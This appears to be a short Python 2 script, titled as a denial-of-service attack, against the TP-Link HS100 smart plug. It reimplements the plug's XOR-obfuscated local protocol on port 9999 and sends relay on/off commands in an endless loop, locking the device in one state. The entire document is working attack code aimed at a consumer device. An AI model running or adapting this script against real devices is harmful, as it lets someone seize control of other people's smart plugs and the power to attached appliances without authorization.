DoS attack for TP-Link HS100

hs100.py

#config
devicecfg = {"ip": "192.168.1.101", "port": 9999}

import socket
from struct import pack


state = False #true for turning on, false for turning off

on = "{\"system\":{\"set_relay_state\":{\"state\":1}}}"
off = "{\"system\":{\"set_relay_state\":{\"state\":0}}}"

running = True
while running:
    key = 171
    cmd = 0
    if state:
        cmd = on
    else:
        cmd = off
    payload = pack(">I", len(cmd))
    
    try:
        for x in cmd:
            encb = key ^ ord(x)
            key = encb
            payload += chr(encb)

        device = socket.socket()
        device.connect((devicecfg["ip"], devicecfg["port"]))
        device.send(payload)    
        device.close()
        
    except:
        print "oops"
        running = False